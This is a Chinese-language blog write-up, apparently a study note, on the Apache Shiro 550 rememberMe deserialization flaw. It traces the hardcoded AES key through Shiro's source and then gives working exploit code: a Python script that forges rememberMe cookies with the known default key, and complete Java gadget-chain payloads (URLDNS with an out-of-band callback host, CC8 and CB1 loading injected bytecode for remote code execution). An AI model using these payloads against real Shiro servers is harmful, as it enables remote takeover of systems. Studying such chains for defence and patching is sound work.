参考链接
https://www.bilibili.com/video/BV1iF411b7bD
环境搭建
搭环境看的这位师傅的,有图有步骤,爱了。
https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/
漏洞原理
摘要
shiro550在hvv的时候就有所耳闻,每次看一个Java站都要看看有没有rememberMe
一句话说这个洞:就是rememberMe传了个经过AES加密+Base64的序列化字符串,但是Shiro里这个密钥是固定的,那我们用同样的密钥加密和Base64,传恶意的序列化字符串,后台反序列化就会被打了。
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693992080953-6b62c209-4e3b-4b03-96c1-bbdfecf0ac0f.png)
挖洞思路
尝试复现漏洞发现者,最初发现这个洞时的思路。
首先,抓包看到Cookie里的rememberMe有一大串,一般来说不会有这么多,于是猜测可能是传了序列化的对象
idea里双击”shift”,搜索”cookie”,找到CookieRememberMeManager这个类
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693992887524-557ba65b-ed87-4f55-a704-ad2bd87bda38.png)
然后发现有两个函数带了remember字样,很可能是要找的函数
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693993027704-1fe5d6b6-592d-4e58-ad3d-018237120d85.png)
看注释,发现getRememberedSerializedIdentity是对Cookie里的rememberMe的值进行Base64解码的
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693993320541-821444e6-7d17-4934-b21c-91c109b8cfd4.png)
我们的目的是探索这个字段是否可反序列化,接下来看谁调用了getRememberedSerializedIdentity,目的是看看base64解码之后,下一步是干什么。
这里可以看到,抽象父类的getRememberedPrincipals方法调了getRememberedSerializedIdentity
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693993460074-cb9159c9-eab2-422a-ab7f-fce86ad8cb65.png)
继续看getRememberedSerializedIdentity,发现它把字符串base64decode后,把结果传到了convertBytesToPrincipals这个函数里
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693993648270-680fd33a-714f-4d78-b710-dc94bbd244ba.png)
再跟进convertBytesToPrincipals这个函数,发现里边有个decrypt()函数,这显然是在对字符串解密
在字符串解密之后,直接传到deserialize()函数里,参与反序列化!
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693993682635-12e6390e-c231-49b8-966e-83d446e7293a.png)
下面看它怎么解密的,跟进decrypt,注意到这里有个获取解密密钥的函数
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693996088166-7a0f4482-6860-49fb-bcca-bac1f4060f4f.png)
跟进去getDecryptionCipherKey,他是直接返回AbstractRememberMeManager的decryptionCipherKey属性
下面找找哪里给decryptionCipherKey赋值了,idea小技巧,”value write”里都是赋值函数
这里找到setDecryptionCipherKey()函数,它把传入的参数赋值给decryptionCipherKey,但是没写参数哪来的
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693997055979-52da1b14-24a8-4d88-8cd0-e8aab0d771bb.png)
再找谁调用了setDecryptionCipherKey(),找到了setCipherKey()函数,这里还是没写参数哪来的
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693997415675-6e10db0f-0211-4675-882d-04c26d5bd3ea.png)
再往上找,终于找到了,默认的密钥就是这个DEFAULT_CIPHER_KEY_BYTES
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693997502363-4a93b71c-4cba-4f29-8e24-4167ec69462a.png)
看注释,可以看到Shiro在这里采用AES+Base64来加密我们序列化之后的字符串
问题也就出在这,他这里把对称加密的密钥写死了,知道密钥,AES加密就相当于没有
我们按照它的构造规则,先AES再Base64,就可以打它的反序列化了。
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693997565433-9589bc80-6c1a-4df4-a756-ae68adc97e4e.png)
漏洞利用
根据组长的视频,讲了三种利用方式:
- URLDNS链:JDK自带,不需要依赖,但是只能SSRF,不能RCE
- CC8链:CC2+CC6,需要用到Commons Collections3,能RCE
- CB1链:Shiro自带CB依赖,能直接RCE
cookie加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
from email.mime import base from pydoc import plain import sys import base64 import uuid from random import Random from Cryptodome.Cipher import AES
def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == "__main__": data = get_file_data("object.ser") print(aes_enc(data))
|
URLDNS
这条链很短,跟过之前的链子,再回过头看真的很简单,这里直接上Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class URLDNS { public static void main(String[] args) throws Exception{ HashMap<URL,Object> hashMap = new HashMap<>(); URL url = new URL("http://fbuj4kl1p0zk9fwg0my69sta319sxold.oastify.com"); setFieldValue(url,"hashCode",2); hashMap.put(url,2); setFieldValue(url,"hashCode",-1); serialize(hashMap);
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
把生成的序列化字符串文件object.ser,放到cookie加密脚本同目录下,然后运行脚本生成cookie:
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693999017177-947cd84c-d1f3-4140-aea7-c728638989ad.png)
burp抓包,更换rememberMe字段cookie,打过去,注意要删掉多余的JSESSIONID,这和代码流程有关
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693999283905-79aaf41a-aa36-42be-b5bf-3c3f06278df4.png)
burp的collaborator模块,狂点Poll now,就能够接收到请求记录
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693999315175-cf6b5f5c-b38c-4fb4-8454-344710dfc4d4.png)
CC8
这个要加Commons Collections3的依赖,因为Shiro本身并不带Commons Collections3,test的不算
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1693999853223-2530f8a9-dc3f-4f43-a174-62d3385d77f5.png)
加了CC3的依赖,按理说应该每条CC3的链子我们都能打通,但是当我们尝试用CC6去打的时候会有以下报错
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694000222650-5772d7a6-6ff2-436a-99c4-26f235c121c7.png)
意思是无法加载Transomer数组这个类,这意味着我们没办法用ChainedTransformer类了,而不用chainedTransformer数组的链子,很容易想到CC2的特点,代码执行+不用数组
尝试编写Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public class TestCC8 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
这样一来就没有用数组,另外把问题转化成调用xxx.transform()了,这里用CC6的后半段就好
注意: “key2”改成templates,chainedTransformer改成invokerTransformer
完整Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public class TestCC8 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); setFieldValue(lazyMap,"factory",invokerTransformer); lazyMap.remove(templates); serialize(hashMap1);
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694001180401-312875f7-c0f9-4c4d-a815-04167e5add64.png)
CB1
CB1链是完全只需要Shiro自带依赖,就可以打通的链子,用到的模块是Commons BeanUtils
这个模块有个PropertyUtils.getProperty()可以根据传参调用对应的getter方法
![image.png](https://cdn.nlark.com/yuque/0/2023/png/38455276/1694001350649-32b68692-39fa-42b4-a4ab-5d663a366625.png#averageHue=%236dab6a&clientId=ue6e9373e-da05-4&from=paste&height=245&id=ub9e27978&originHeight=306&originWidth=1339&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=50083&status=done&style=none&taskId=u79659392-fd70-47aa-a783-9369b62b04f&title=&width=1071.2)
在CC3的TemplatesImpl#newTransformer()里提到,调用newTransformer的还有getOutputProperties这个方法,换言之通过getOutputProperties也可代码执行,尝试编写Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class TestCB1 { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694001786024-862a8044-59ae-4816-88db-0edfc788922b.png)
那么又因为PropertyUtils.getProperty()可以调用任意getter方法,尝试一下调用getOutputProperties()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public class TestCB1 { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties(); PropertyUtils.getProperty(templates,"outputProperties"); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694001928851-8156d309-1739-415b-87d5-5b5dcac9c973.png)
接下来,开始找谁调用了getProperty,这里发现了BeanComparator#compare,很符合我们要求
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694002167720-97c47687-39cd-4509-b9d9-600979d5ce47.png)
看到compare就很熟悉,在CC4的priorityQueue这个入口类里,我们用到过compare来触发xxx.transform
在CB1链里,我们只需要使用priorityQueue反序列化时,会调用到compare这个特性即可
注意:下面的add会提前触发链条,这里选择先add,再通过反射设置属性,保证链子不被破坏。
最终Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| public class TestCB1 { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(1); priorityQueue.add(2);
setFieldValue(priorityQueue,"queue",new TemplatesImpl[]{templates,templates}); setFieldValue(beanComparator,"property","outputProperties");
serialize(priorityQueue);
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
![image.png](https://raw.githubusercontent.com/sketchpl4ne/images/main/imgs/1694003006742-1a409a1f-5c46-4f8e-a48a-8ee199c68567.png)
总结
shiro550这个洞,就是反序列化套了一层AES加密,AES密钥已知的基础上,本质就是一个简单的反序列化漏洞。
感觉更多的是考察在Shiro的依赖条件下,要怎么RCE,通过这个洞学到了URLDNS、CC8、CB1三条链子。